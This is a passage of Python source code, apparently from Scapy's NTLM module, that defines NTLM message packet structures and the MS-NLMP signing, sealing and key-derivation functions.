self).getfieldval(attr)\n        except AttributeError:\n            try:\n                return next(\n                    x[1]\n                    for x in super(_NTLMPayloadPacket, self).getfieldval(\n                        self._NTLM_PAYLOAD_FIELD_NAME\n                    )\n                    if x[0] == attr\n                )\n            except StopIteration:\n                raise AttributeError(attr)\n\n    def getfield_and_val(self, attr):\n        # Ease compatibility with _NTLMPayloadField\n        try:\n            return super(_NTLMPayloadPacket, self).getfield_and_val(attr)\n        except ValueError:\n            PayFields = self.get_field(self._NTLM_PAYLOAD_FIELD_NAME).fields_map\n            try:\n                return (\n                    PayFields[attr],\n                    PayFields[attr].h2i(  # cancel out the i2h.. it's dumb i know\n                        self,\n                        next(\n                            x[1]\n                            for x in super(_NTLMPayloadPacket, self).__getattr__(\n                                self._NTLM_PAYLOAD_FIELD_NAME\n                            )\n                            if x[0] == attr\n                        ),\n                    ),\n                )\n            except (StopIteration, KeyError):\n                raise ValueError(attr)\n\n    def setfieldval(self, attr, val):\n        # Ease compatibility with _NTLMPayloadField\n        try:\n            return super(_NTLMPayloadPacket, self).setfieldval(attr, val)\n        except AttributeError:\n            Payload = super(_NTLMPayloadPacket, self).__getattr__(\n                self._NTLM_PAYLOAD_FIELD_NAME\n            )\n            if attr not in self.get_field(self._NTLM_PAYLOAD_FIELD_NAME).fields_map:\n                raise AttributeError(attr)\n            try:\n                Payload.pop(\n                    next(\n                        i\n                        for i, x in enumerate(\n                            super(_NTLMPayloadPacket, self).__getattr__(\n                                self._NTLM_PAYLOAD_FIELD_NAME\n                            )\n                        )\n                        if x[0] == attr\n                    )\n                )\n            except StopIteration:\n                pass\n            Payload.append([attr, val])\n            super(_NTLMPayloadPacket, self).setfieldval(\n                self._NTLM_PAYLOAD_FIELD_NAME, Payload\n            )\n\n\nclass _NTLM_ENUM(IntEnum):\n    LEN = 0x0001\n    MAXLEN = 0x0002\n    OFFSET = 0x0004\n    COUNT = 0x0008\n    PAD8 = 0x1000\n\n\n_NTLM_CONFIG = [\n    (\"Len\", _NTLM_ENUM.LEN),\n    (\"MaxLen\", _NTLM_ENUM.MAXLEN),\n    (\"BufferOffset\", _NTLM_ENUM.OFFSET),\n]\n\n\ndef _NTLM_post_build(self, p, pay_offset, fields, config=_NTLM_CONFIG):\n    \"\"\"Util function to build the offset and populate the lengths\"\"\"\n    for field_name, value in self.fields[self._NTLM_PAYLOAD_FIELD_NAME]:\n        fld = self.get_field(self._NTLM_PAYLOAD_FIELD_NAME).fields_map[field_name]\n        length = fld.i2len(self, value)\n        count = fld.i2count(self, value)\n        offset = fields[field_name]\n        i = 0\n        r = lambda y: {2: \"H\", 4: \"I\", 8: \"Q\"}[y]\n        for fname, ftype in config:\n            if isinstance(ftype, dict):\n                ftype = ftype[field_name]\n            if ftype & _NTLM_ENUM.LEN:\n                fval = length\n            elif ftype & _NTLM_ENUM.OFFSET:\n                fval = pay_offset\n            elif ftype & _NTLM_ENUM.MAXLEN:\n                fval = length\n            elif ftype & _NTLM_ENUM.COUNT:\n                fval = count\n            else:\n                raise ValueError\n            if ftype & _NTLM_ENUM.PAD8:\n                fval += (-fval) % 8\n            sz = self.get_field(field_name + fname).sz\n            if self.getfieldval(field_name + fname) is None:\n                p = (\n                    p[: offset + i]\n                    + struct.pack(\"<%s\" % r(sz), fval)\n                    + p[offset + i + sz :]\n                )\n            i += sz\n        pay_offset += length\n    return p\n\n\n##############\n# Structures #\n##############\n\n\n# -- Util: VARIANT class\n\n\nclass NTLM_VARIANT(IntEnum):\n    \"\"\"\n    The message variant to use for NTLM.\n    \"\"\"\n\n    NT_OR_2000 = 0\n    XP_OR_2003 = 1\n    RECENT = 2\n\n\nclass _NTLM_VARIANT_Packet(_NTLMPayloadPacket):\n    def __init__(self, *args, **kwargs):\n        self.VARIANT = kwargs.pop(\"VARIANT\", NTLM_VARIANT.RECENT)\n        super(_NTLM_VARIANT_Packet, self).__init__(*args, **kwargs)\n\n    def clone_with(self, *args, **kwargs):\n        pkt = super(_NTLM_VARIANT_Packet, self).clone_with(*args, **kwargs)\n        pkt.VARIANT = self.VARIANT\n        return pkt\n\n    def copy(self):\n        pkt = super(_NTLM_VARIANT_Packet, self).copy()\n        pkt.VARIANT = self.VARIANT\n\n        return pkt\n\n    def show2(self, dump=False, indent=3, lvl=\"\", label_lvl=\"\"):\n        return self.__class__(bytes(self), VARIANT=self.VARIANT).show(\n            dump, indent, lvl, label_lvl\n        )\n\n\n# Sect 2.2\n\n\nclass NTLM_Header(Packet):\n    name = \"NTLM Header\"\n    fields_desc = [\n        StrFixedLenField(\"Signature\", b\"NTLMSSP\\0\", length=8),\n        LEIntEnumField(\n            \"MessageType\",\n            3,\n            {\n                1: \"NEGOTIATE_MESSAGE\",\n                2: \"CHALLENGE_MESSAGE\",\n                3: \"AUTHENTICATE_MESSAGE\",\n            },\n        ),\n    ]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if cls is NTLM_Header and _pkt and len(_pkt) >= 10:\n            MessageType = struct.unpack(\"<H\", _pkt[8:10])[0]\n            if MessageType == 1:\n                return NTLM_NEGOTIATE\n            elif MessageType == 2:\n                return NTLM_CHALLENGE\n            elif MessageType == 3:\n                return NTLM_AUTHENTICATE_V2\n        return cls\n\n\n# Sect 2.2.2.5\n_negotiateFlags = [\n    \"NEGOTIATE_UNICODE\",  # A\n    \"NEGOTIATE_OEM\",  # B\n    \"REQUEST_TARGET\",  # C\n    \"r10\",\n    \"NEGOTIATE_SIGN\",  # D\n    \"NEGOTIATE_SEAL\",  # E\n    \"NEGOTIATE_DATAGRAM\",  # F\n    \"NEGOTIATE_LM_KEY\",  # G\n    \"r9\",\n    \"NEGOTIATE_NTLM\",  # H\n    \"r8\",\n    \"J\",\n    \"NEGOTIATE_OEM_DOMAIN_SUPPLIED\",  # K\n    \"NEGOTIATE_OEM_WORKSTATION_SUPPLIED\",  # L\n    \"r7\",\n    \"NEGOTIATE_ALWAYS_SIGN\",  # M\n    \"TARGET_TYPE_DOMAIN\",  # N\n    \"TARGET_TYPE_SERVER\",  # O\n    \"r6\",\n    \"NEGOTIATE_EXTENDED_SESSIONSECURITY\",  # P\n    \"NEGOTIATE_IDENTIFY\",  # Q\n    \"r5\",\n    \"REQUEST_NON_NT_SESSION_KEY\",  # R\n    \"NEGOTIATE_TARGET_INFO\",  # S\n    \"r4\",\n    \"NEGOTIATE_VERSION\",  # T\n    \"r3\",\n    \"r2\",\n    \"r1\",\n    \"NEGOTIATE_128\",  # U\n    \"NEGOTIATE_KEY_EXCH\",  # V\n    \"NEGOTIATE_56\",  # W\n]\n\n\ndef _NTLMStrField(name, default):\n    return MultipleTypeField(\n        [\n            (\n                StrFieldUtf16(name, default),\n                lambda pkt: pkt.NegotiateFlags.NEGOTIATE_UNICODE,\n            )\n        ],\n        StrField(name, default),\n    )\n\n\n# Sect 2.2.2.10\n\n\nclass _NTLM_Version(Packet):\n    fields_desc = [\n        ByteField(\"ProductMajorVersion\", 0),\n        ByteField(\"ProductMinorVersion\", 0),\n        LEShortField(\"ProductBuild\", 0),\n        LEThreeBytesField(\"res_ver\", 0),\n        ByteEnumField(\"NTLMRevisionCurrent\", 0x0F, {0x0F: \"v15\"}),\n    ]\n\n\n# Sect 2.2.1.1\n\n\nclass NTLM_NEGOTIATE(_NTLM_VARIANT_Packet, NTLM_Header):\n    name = \"NTLM Negotiate\"\n    __slots__ = [\"VARIANT\"]\n    MessageType = 1\n    OFFSET = lambda pkt: (\n        32\n        if (\n            pkt.VARIANT == NTLM_VARIANT.NT_OR_2000\n            or (pkt.DomainNameBufferOffset or 40) <= 32\n        )\n        else 40\n    )\n    fields_desc = (\n        [\n            NTLM_Header,\n            FlagsField(\"NegotiateFlags\", 0, -32, _negotiateFlags),\n            # DomainNameFields\n            LEShortField(\"DomainNameLen\", None),\n            LEShortField(\"DomainNameMaxLen\", None),\n            LEIntField(\"DomainNameBufferOffset\", None),\n            # WorkstationFields\n            LEShortField(\"WorkstationNameLen\", None),\n            LEShortField(\"WorkstationNameMaxLen\", None),\n            LEIntField(\"WorkstationNameBufferOffset\", None),\n        ]\n        + [\n            # VERSION\n            ConditionalField(\n                # (not present on some old Windows versions. We use a heuristic)\n                x,\n                lambda pkt: pkt.VARIANT >= NTLM_VARIANT.XP_OR_2003\n                and (\n                    (\n                        (\n                            40\n                            if pkt.DomainNameBufferOffset is None\n                            else pkt.DomainNameBufferOffset or len(pkt.original or b\"\")\n                        )\n                        > 32\n                    )\n                    or pkt.fields.get(x.name, b\"\")\n                ),\n            )\n            for x in _NTLM_Version.fields_desc\n        ]\n        + [\n            # Payload\n            _NTLMPayloadField(\n                \"Payload\",\n                OFFSET,\n                [\n                    _NTLMStrField(\"DomainName\", b\"\"),\n                    _NTLMStrField(\"WorkstationName\", b\"\"),\n                ],\n            ),\n        ]\n    )\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _NTLM_post_build(\n                self,\n                pkt,\n                self.OFFSET(),\n                {\n                    \"DomainName\": 16,\n                    \"WorkstationName\": 24,\n                },\n            )\n            + pay\n        )\n\n\n# Challenge\n\n\nclass Single_Host_Data(Packet):\n    fields_desc = [\n        LEIntField(\"Size\", None),\n        LEIntField(\"Z4\", 0),\n        # \"CustomData\" guessed using LSAP_TOKEN_INFO_INTEGRITY.\n        FlagsField(\n            \"Flags\",\n            0,\n            -32,\n            {\n                0x00000001: \"UAC-Restricted\",\n            },\n        ),\n        LEIntEnumField(\n            \"TokenIL\",\n            0x00002000,\n            {\n                0x00000000: \"Untrusted\",\n                0x00001000: \"Low\",\n                0x00002000: \"Medium\",\n                0x00003000: \"High\",\n                0x00004000: \"System\",\n                0x00005000: \"Protected process\",\n            },\n        ),\n        XStrFixedLenField(\"MachineID\", b\"\", length=32),\n        # KB 5068222 - still waiting for [MS-KILE] update (oct. 2025)\n        ConditionalField(\n            XStrFixedLenField(\"PermanentMachineID\", None, length=32),\n            lambda pkt: pkt.Size is None or pkt.Size > 48,\n        ),\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.Size is None:\n            pkt = struct.pack(\"<I\", len(pkt)) + pkt[4:]\n        return pkt + pay\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass AV_PAIR(Packet):\n    name = \"NTLM AV Pair\"\n    fields_desc = [\n        LEShortEnumField(\n            \"AvId\",\n            0,\n            {\n                0x0000: \"MsvAvEOL\",\n                0x0001: \"MsvAvNbComputerName\",\n                0x0002: \"MsvAvNbDomainName\",\n                0x0003: \"MsvAvDnsComputerName\",\n                0x0004: \"MsvAvDnsDomainName\",\n                0x0005: \"MsvAvDnsTreeName\",\n                0x0006: \"MsvAvFlags\",\n                0x0007: \"MsvAvTimestamp\",\n                0x0008: \"MsvAvSingleHost\",\n                0x0009: \"MsvAvTargetName\",\n                0x000A: \"MsvAvChannelBindings\",\n            },\n        ),\n        FieldLenField(\"AvLen\", None, length_of=\"Value\", fmt=\"<H\"),\n        MultipleTypeField(\n            [\n                (\n                    LEIntEnumField(\n                        \"Value\",\n                        1,\n                        {\n                            0x0001: \"constrained\",\n                            0x0002: \"MIC integrity\",\n                            0x0004: \"SPN from untrusted source\",\n                        },\n                    ),\n                    lambda pkt: pkt.AvId == 0x0006,\n                ),\n                (\n                    UTCTimeField(\n                        \"Value\",\n                        None,\n                        epoch=[1601, 1, 1, 0, 0, 0],\n                        custom_scaling=1e7,\n                        fmt=\"<Q\",\n                    ),\n                    lambda pkt: pkt.AvId == 0x0007,\n                ),\n                (\n                    PacketField(\"Value\", Single_Host_Data(), Single_Host_Data),\n                    lambda pkt: pkt.AvId == 0x0008,\n                ),\n                (\n                    XStrLenField(\"Value\", b\"\", length_from=lambda pkt: pkt.AvLen),\n                    lambda pkt: pkt.AvId == 0x000A,\n                ),\n            ],\n            StrLenFieldUtf16(\"Value\", b\"\", length_from=lambda pkt: pkt.AvLen),\n        ),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass NTLM_CHALLENGE(_NTLM_VARIANT_Packet, NTLM_Header):\n    name = \"NTLM Challenge\"\n    __slots__ = [\"VARIANT\"]\n    MessageType = 2\n    OFFSET = lambda pkt: (\n        48\n        if (\n            pkt.VARIANT == NTLM_VARIANT.NT_OR_2000\n            or (pkt.TargetInfoBufferOffset or 56) <= 48\n        )\n        else 56\n    )\n    fields_desc = (\n        [\n            NTLM_Header,\n            # TargetNameFields\n            LEShortField(\"TargetNameLen\", None),\n            LEShortField(\"TargetNameMaxLen\", None),\n            LEIntField(\"TargetNameBufferOffset\", None),\n            #\n            FlagsField(\"NegotiateFlags\", 0, -32, _negotiateFlags),\n            XStrFixedLenField(\"ServerChallenge\", None, length=8),\n            XStrFixedLenField(\"Reserved\", None, length=8),\n            # TargetInfoFields\n            LEShortField(\"TargetInfoLen\", None),\n            LEShortField(\"TargetInfoMaxLen\", None),\n            LEIntField(\"TargetInfoBufferOffset\", None),\n        ]\n        + [\n            # VERSION\n            ConditionalField(\n                # (not present on some old Windows versions. We use a heuristic)\n                x,\n                lambda pkt: pkt.VARIANT >= NTLM_VARIANT.XP_OR_2003\n                and (\n                    ((pkt.TargetInfoBufferOffset or 56) > 40)\n                    or pkt.fields.get(x.name, b\"\")\n                ),\n            )\n            for x in _NTLM_Version.fields_desc\n        ]\n        + [\n            # Payload\n            _NTLMPayloadField(\n                \"Payload\",\n                OFFSET,\n                [\n                    _NTLMStrField(\"TargetName\", b\"\"),\n                    PacketListField(\"TargetInfo\", [AV_PAIR()], AV_PAIR),\n                ],\n            ),\n        ]\n    )\n\n    def getAv(self, AvId):\n        try:\n            return next(x for x in self.TargetInfo if x.AvId == AvId)\n        except (StopIteration, AttributeError):\n            raise IndexError\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _NTLM_post_build(\n                self,\n                pkt,\n                self.OFFSET(),\n                {\n                    \"TargetName\": 12,\n                    \"TargetInfo\": 40,\n                },\n            )\n            + pay\n        )\n\n\n# Authenticate\n\n\nclass LM_RESPONSE(Packet):\n    fields_desc = [\n        StrFixedLenField(\"Response\", b\"\", length=24),\n    ]\n\n\nclass LMv2_RESPONSE(Packet):\n    fields_desc = [\n        StrFixedLenField(\"Response\", b\"\", length=16),\n        StrFixedLenField(\"ChallengeFromClient\", b\"\", length=8),\n    ]\n\n\nclass NTLM_RESPONSE(Packet):\n    fields_desc = [\n        StrFixedLenField(\"Response\", b\"\", length=24),\n    ]\n\n\nclass NTLMv2_CLIENT_CHALLENGE(Packet):\n    fields_desc = [\n        ByteField(\"RespType\", 1),\n        ByteField(\"HiRespType\", 1),\n        LEShortField(\"Reserved1\", 0),\n        LEIntField(\"Reserved2\", 0),\n        UTCTimeField(\n            \"TimeStamp\", None, fmt=\"<Q\", epoch=[1601, 1, 1, 0, 0, 0], custom_scaling=1e7\n        ),\n        StrFixedLenField(\"ChallengeFromClient\", b\"12345678\", length=8),\n        LEIntField(\"Reserved3\", 0),\n        PacketListField(\"AvPairs\", [AV_PAIR()], AV_PAIR),\n    ]\n\n    def getAv(self, AvId):\n        try:\n            return next(x for x in self.AvPairs if x.AvId == AvId)\n        except StopIteration:\n            raise IndexError\n\n\nclass NTLMv2_RESPONSE(NTLMv2_CLIENT_CHALLENGE):\n    fields_desc = [\n        XStrFixedLenField(\"NTProofStr\", b\"\", length=16),\n        NTLMv2_CLIENT_CHALLENGE,\n    ]\n\n    def computeNTProofStr(self, ResponseKeyNT, ServerChallenge):\n        \"\"\"\n        Set temp to ConcatenationOf(Responserversion, HiResponserversion,\n            Z(6), Time, ClientChallenge, Z(4), ServerName, Z(4))\n        Set NTProofStr to HMAC_MD5(ResponseKeyNT,\n            ConcatenationOf(CHALLENGE_MESSAGE.ServerChallenge,temp))\n\n        Remember ServerName = AvPairs\n        \"\"\"\n        Responserversion = b\"\\x01\"\n        HiResponserversion = b\"\\x01\"\n\n        ServerName = b\"\".join(bytes(x) for x in self.AvPairs)\n        temp = b\"\".join(\n            [\n                Responserversion,\n                HiResponserversion,\n                b\"\\x00\" * 6,\n                struct.pack(\"<Q\", self.TimeStamp),\n                self.ChallengeFromClient,\n                b\"\\x00\" * 4,\n                ServerName,\n                # Final Z(4) is the EOL AvPair\n            ]\n        )\n        return HMAC_MD5(ResponseKeyNT, ServerChallenge + temp)\n\n\nclass NTLM_AUTHENTICATE(_NTLM_VARIANT_Packet, NTLM_Header):\n    name = \"NTLM Authenticate\"\n    __slots__ = [\"VARIANT\"]\n    MessageType = 3\n    NTLM_VERSION = 1\n    OFFSET = lambda pkt: (\n        64\n        if (\n            pkt.VARIANT == NTLM_VARIANT.NT_OR_2000\n            or (pkt.DomainNameBufferOffset or 88) <= 64\n        )\n        else (\n            72\n            if pkt.VARIANT == NTLM_VARIANT.XP_OR_2003\n            or ((pkt.DomainNameBufferOffset or 88) <= 72)\n            else 88\n        )\n    )\n    fields_desc = (\n        [\n            NTLM_Header,\n            # LmChallengeResponseFields\n            LEShortField(\"LmChallengeResponseLen\", None),\n            LEShortField(\"LmChallengeResponseMaxLen\", None),\n            LEIntField(\"LmChallengeResponseBufferOffset\", None),\n            # NtChallengeResponseFields\n            LEShortField(\"NtChallengeResponseLen\", None),\n            LEShortField(\"NtChallengeResponseMaxLen\", None),\n            LEIntField(\"NtChallengeResponseBufferOffset\", None),\n            # DomainNameFields\n            LEShortField(\"DomainNameLen\", None),\n            LEShortField(\"DomainNameMaxLen\", None),\n            LEIntField(\"DomainNameBufferOffset\", None),\n            # UserNameFields\n            LEShortField(\"UserNameLen\", None),\n            LEShortField(\"UserNameMaxLen\", None),\n            LEIntField(\"UserNameBufferOffset\", None),\n            # WorkstationFields\n            LEShortField(\"WorkstationLen\", None),\n            LEShortField(\"WorkstationMaxLen\", None),\n            LEIntField(\"WorkstationBufferOffset\", None),\n            # EncryptedRandomSessionKeyFields\n            LEShortField(\"EncryptedRandomSessionKeyLen\", None),\n            LEShortField(\"EncryptedRandomSessionKeyMaxLen\", None),\n            LEIntField(\"EncryptedRandomSessionKeyBufferOffset\", None),\n            # NegotiateFlags\n            FlagsField(\"NegotiateFlags\", 0, -32, _negotiateFlags),\n            # VERSION\n        ]\n        + [\n            ConditionalField(\n                # (not present on some old Windows versions. We use a heuristic)\n                x,\n                lambda pkt: pkt.VARIANT >= NTLM_VARIANT.XP_OR_2003\n                and (\n                    ((pkt.DomainNameBufferOffset or 88) > 64)\n                    or pkt.fields.get(x.name, b\"\")\n                ),\n            )\n            for x in _NTLM_Version.fields_desc\n        ]\n        + [\n            # MIC\n            ConditionalField(\n                # (not present on some old Windows versions. We use a heuristic)\n                XStrFixedLenField(\"MIC\", b\"\", length=16),\n                lambda pkt: pkt.VARIANT >= NTLM_VARIANT.RECENT\n                and (\n                    ((pkt.DomainNameBufferOffset or 88) > 72)\n                    or pkt.fields.get(\"MIC\", b\"\")\n                ),\n            ),\n            # Payload\n            _NTLMPayloadField(\n                \"Payload\",\n                OFFSET,\n                [\n                    MultipleTypeField(\n                        [\n                            (\n                                PacketField(\n                                    \"LmChallengeResponse\",\n                                    LMv2_RESPONSE(),\n                                    LMv2_RESPONSE,\n                                ),\n                                lambda pkt: pkt.NTLM_VERSION == 2,\n                            )\n                        ],\n                        PacketField(\"LmChallengeResponse\", LM_RESPONSE(), LM_RESPONSE),\n                    ),\n                    MultipleTypeField(\n                        [\n                            (\n                                PacketField(\n                                    \"NtChallengeResponse\",\n                                    NTLMv2_RESPONSE(),\n                                    NTLMv2_RESPONSE,\n                                ),\n                                lambda pkt: pkt.NTLM_VERSION == 2,\n                            )\n                        ],\n                        PacketField(\n                            \"NtChallengeResponse\", NTLM_RESPONSE(), NTLM_RESPONSE\n                        ),\n                    ),\n                    _NTLMStrField(\"DomainName\", b\"\"),\n                    _NTLMStrField(\"UserName\", b\"\"),\n                    _NTLMStrField(\"Workstation\", b\"\"),\n                    XStrField(\"EncryptedRandomSessionKey\", b\"\"),\n                ],\n            ),\n        ]\n    )\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        return (\n            _NTLM_post_build(\n                self,\n                pkt,\n                self.OFFSET(),\n                {\n                    \"LmChallengeResponse\": 12,\n                    \"NtChallengeResponse\": 20,\n                    \"DomainName\": 28,\n                    \"UserName\": 36,\n                    \"Workstation\": 44,\n                    \"EncryptedRandomSessionKey\": 52,\n                },\n            )\n            + pay\n        )\n\n    def compute_mic(self, ExportedSessionKey, negotiate, challenge):\n        self.MIC = b\"\\x00\" * 16\n        self.MIC = HMAC_MD5(\n            ExportedSessionKey, bytes(negotiate) + bytes(challenge) + bytes(self)\n        )\n\n\nclass NTLM_AUTHENTICATE_V2(NTLM_AUTHENTICATE):\n    NTLM_VERSION = 2\n\n\ndef HTTP_ntlm_negotiate(ntlm_negotiate):\n    \"\"\"Create an HTTP NTLM negotiate packet from an NTLM_NEGOTIATE message\"\"\"\n    assert isinstance(ntlm_negotiate, NTLM_NEGOTIATE)\n    from scapy.layers.http import HTTP, HTTPRequest\n\n    return HTTP() / HTTPRequest(\n        Authorization=b\"NTLM \" + bytes_base64(bytes(ntlm_negotiate))\n    )\n\n\n# Experimental - Reversed stuff\n\n# This is the GSSAPI NegoEX Exchange metadata blob. This is not documented\n# but described as an \"opaque blob\": this was reversed and everything is a\n# placeholder.\n\n\nclass NEGOEX_EXCHANGE_NTLM_ITEM(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_SEQUENCE(\n                ASN1F_OID(\"oid\", \"\"),\n                ASN1F_PRINTABLE_STRING(\"token\", \"\"),\n                explicit_tag=0x31,\n            ),\n            explicit_tag=0x80,\n        )\n    )\n\n\nclass NEGOEX_EXCHANGE_NTLM(ASN1_Packet):\n    \"\"\"\n    GSSAPI NegoEX Exchange metadata blob\n    This was reversed and may be meaningless\n    \"\"\"\n\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_SEQUENCE(\n            ASN1F_SEQUENCE_OF(\"items\", [], NEGOEX_EXCHANGE_NTLM_ITEM), implicit_tag=0xA0\n        ),\n    )\n\n\n# Crypto - [MS-NLMP]\n\n\ndef HMAC_MD5(key, data):\n    return Hmac_MD5(key=key).digest(data)\n\n\ndef MD4le(x):\n    \"\"\"\n    MD4 over a string encoded as utf-16le\n    \"\"\"\n    return Hash_MD4().digest(x.encode(\"utf-16le\"))\n\n\ndef RC4Init(key):\n    \"\"\"Alleged RC4\"\"\"\n    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms\n\n    try:\n        # cryptography > 43.0\n        from cryptography.hazmat.decrepit.ciphers import (\n            algorithms as decrepit_algorithms,\n        )\n    except ImportError:\n        decrepit_algorithms = algorithms\n\n    algorithm = decrepit_algorithms.ARC4(key)\n    cipher = Cipher(algorithm, mode=None)\n    encryptor = cipher.encryptor()\n    return encryptor\n\n\ndef RC4(handle, data):\n    \"\"\"The RC4 Encryption Algorithm\"\"\"\n    return handle.update(data)\n\n\ndef RC4K(key, data):\n    \"\"\"Indicates the encryption of data item D with the key K using the\n    RC4 algorithm.\n    \"\"\"\n    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms\n\n    try:\n        # cryptography > 43.0\n        from cryptography.hazmat.decrepit.ciphers import (\n            algorithms as decrepit_algorithms,\n        )\n    except ImportError:\n        decrepit_algorithms = algorithms\n\n    algorithm = decrepit_algorithms.ARC4(key)\n    cipher = Cipher(algorithm, mode=None)\n    encryptor = cipher.encryptor()\n    return encryptor.update(data) + encryptor.finalize()\n\n\n# sect 2.2.2.9 - With Extended Session Security\n\n\nclass NTLMSSP_MESSAGE_SIGNATURE(Packet):\n    # [MS-RPCE] sect 2.2.2.9.1/2.2.2.9.2\n    fields_desc = [\n        LEIntField(\"Version\", 0x00000001),\n        XStrFixedLenField(\"Checksum\", b\"\", length=8),\n        LEIntField(\"SeqNum\", 0x00000000),\n    ]\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\n_GSSAPI_OIDS[\"1.3.6.1.4.1.311.2.2.10\"] = NTLM_Header\n_GSSAPI_SIGNATURE_OIDS[\"1.3.6.1.4.1.311.2.2.10\"] = NTLMSSP_MESSAGE_SIGNATURE\n\n\n# sect 3.3.2\n\n\ndef NTOWFv2(Passwd, User, UserDom, HashNt=None):\n    \"\"\"\n    Computes the ResponseKeyNT (per [MS-NLMP] sect 3.3.2)\n\n    :param Passwd: the plain password\n    :param User: the username\n    :param UserDom: the domain name\n    :param HashNt: (out of spec) if you have the HashNt, use this and set\n                   Passwd to None\n    \"\"\"\n    if HashNt is None:\n        HashNt = MD4le(Passwd)\n    return HMAC_MD5(HashNt, (User.upper() + UserDom).encode(\"utf-16le\"))\n\n\ndef NTLMv2_ComputeSessionBaseKey(ResponseKeyNT, NTProofStr):\n    return HMAC_MD5(ResponseKeyNT, NTProofStr)\n\n\n# sect 3.4.4.2 - With Extended Session Security\n\n\ndef MAC(Handle, SigningKey, SeqNum, Message):\n    chksum = HMAC_MD5(SigningKey, struct.pack(\"<i\", SeqNum) + Message)[:8]\n    if Handle:\n        chksum = RC4(Handle, chksum)\n    return NTLMSSP_MESSAGE_SIGNATURE(\n        Version=0x00000001,\n        Checksum=chksum,\n        SeqNum=SeqNum,\n    )\n\n\n# sect 3.4.2\n\n\ndef SIGN(Handle, SigningKey, SeqNum, Message):\n    # append? where is this used?!\n    return Message + MAC(Handle, SigningKey, SeqNum, Message)\n\n\n# sect 3.4.3\n\n\ndef SEAL(Handle, SigningKey, SeqNum, Message):\n    \"\"\"\n    SEAL() according to [MS-NLMP]\n    \"\"\"\n    # this is unused. Use GSS_WrapEx\n    sealed_message = RC4(Handle, Message)\n    signature = MAC(Handle, SigningKey, SeqNum, Message)\n    return sealed_message, signature\n\n\ndef UNSEAL(Handle, SigningKey, SeqNum, Message):\n    \"\"\"\n    UNSEAL() according to [MS-NLMP]\n    \"\"\"\n    # this is unused. Use GSS_UnwrapEx\n    unsealed_message = RC4(Handle, Message)\n    signature = MAC(Handle, SigningKey, SeqNum, Message)\n    return unsealed_message, signature\n\n\n# sect 3.4.5.2\n\n\ndef SIGNKEY(NegFlg, ExportedSessionKey, Mode):\n    if NegFlg.NEGOTIATE_EXTENDED_SESSIONSECURITY:\n        if Mode == \"Client\":\n            return Hash_MD5().digest(\n                ExportedSessionKey\n                + b\"session key to client-to-server signing key magic constant\\x00\"\n            )\n        elif Mode == \"Server\":\n            return Hash_MD5().digest(\n                ExportedSessionKey\n                + b\"session key to server-to-client signing key magic constant\\x00\"\n            )\n        else:\n            raise ValueError(\"Unknown Mode\")\n    else:\n        return None\n\n\n# sect 3.4.5.3\n\n\ndef SEALKEY(NegFlg, ExportedSessionKey, Mode):\n    if NegFlg.NEGOTIATE_EXTENDED_SESSIONSECURITY:\n        if NegFlg.NEGOTIATE_128:\n            SealKey = ExportedSessionKey\n        elif NegFlg.NEGOTIATE_56:\n            SealKey = ExportedSessionKey[:7]\n        else:\n            SealKey = ExportedSessionKey[:5]\n        if Mode == \"Client\":\n            return Hash_MD5().digest(\n                SealKey\n                + b\"session key to client-to-server sealing key magic constant\\x00\"\n            )\n        elif Mode == \"Server\":\n            return Hash_MD5().digest(\n                SealKey\n                + b\"session key to server-to-client sealing key magic constant\\x00\"\n            )\n        else:\n            raise ValueError(\"Unknown Mode\")\n    elif NegFlg.NEGOTIATE_LM_KEY:\n        if NegFlg.NEGOTIATE_56:\n            return ExportedSessionKey[:6] + b\"\\xa0\"\n        else:\n            return ExportedSessionKey[:4] + b\"\\xe5\\x38\\xb0\"\n    else:\n        return ExportedSessionKey\n\n\n# --- SSP\n\n\nclass NTLMSSP(SSP):\n    \"\"\"\n    The NTLM SSP\n\n    Common arguments:\n\n        :param auth_level: One of DCE_C_AUTHN_LEVEL\n        :param USE_MIC: whether to use a MIC or not (default: True)\n        :param NTLM_VALUES: a dictionary used to override the following values\n\n        In case of a client::\n\n            - NegotiateFlags\n            - ProductMajorVersion\n            - ProductMinorVersion\n            - ProductBuild\n\n        In case of a server::\n\n            - NetbiosDomainName\n            - NetbiosComputerName\n            - DnsComputerName\n            - DnsDomainName (defaults to DOMAIN)\n            - DnsTreeName (defaults to DOMAIN)\n            - Flags\n            - Timestamp\n\n    Client-only arguments:\n\n        :param UPN: the UPN to use for NTLM auth. If no domain is specified, will\n                    use the one provided by the server (domain in a domain, local\n                    if without domain)\n        :param HASHNT: the password to use for NTLM auth\n        :param PASSWORD: the password to use for NTLM auth\n\n    Server-only arguments:\n\n        :param DOMAIN_FQDN: the domain FQDN (default: domain.local)\n        :param DOMAIN_NB_NAME: the domain Netbios name (default: strip DOMAIN_FQDN)\n        :param COMPUTER_NB_NAME: the server Netbios name (default: SRV)\n        :param COMPUTER_FQDN: the server FQDN\n                              (default: <computer_nb_name>.<domain_fqdn>)\n        :param IDENTITIES: a dict {\"username\": <HashNT>}\n                        Setting this value enables signature computation and\n                        authenticates inbound users.\n    \"\"\"\n\n    auth_type = 0x0A\n\n    class STATE(SSP.STATE):\n        INIT = 1\n        CLI_SENT_NEGO = 2\n        CLI_SENT_AUTH = 3\n        SRV_SENT_CHAL = 4\n\n    class CONTEXT(SSP.CONTEXT):\n        __slots__ = [\n            \"SessionKey\",\n            \"ExportedSessionKey\",\n            \"IsAcceptor\",\n            \"SendSignKey\",\n            \"SendSealKey\",\n            \"RecvSignKey\",\n            \"RecvSealKey\",\n            \"SendSealHandle\",\n            \"RecvSealHandle\",\n            \"SendSeqNum\",\n            \"RecvSeqNum\",\n            \"neg_tok\",\n            \"chall_tok\",\n            \"ServerHostname\",\n            